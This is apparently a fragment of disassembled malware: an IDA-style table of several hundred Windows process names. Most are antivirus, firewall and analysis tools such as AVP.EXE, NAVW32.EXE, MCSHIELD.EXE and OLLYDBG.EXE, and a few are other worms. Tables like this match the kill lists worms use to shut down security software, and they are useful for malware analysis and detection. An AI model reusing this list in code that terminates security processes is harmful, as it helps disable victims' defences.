		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe	; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
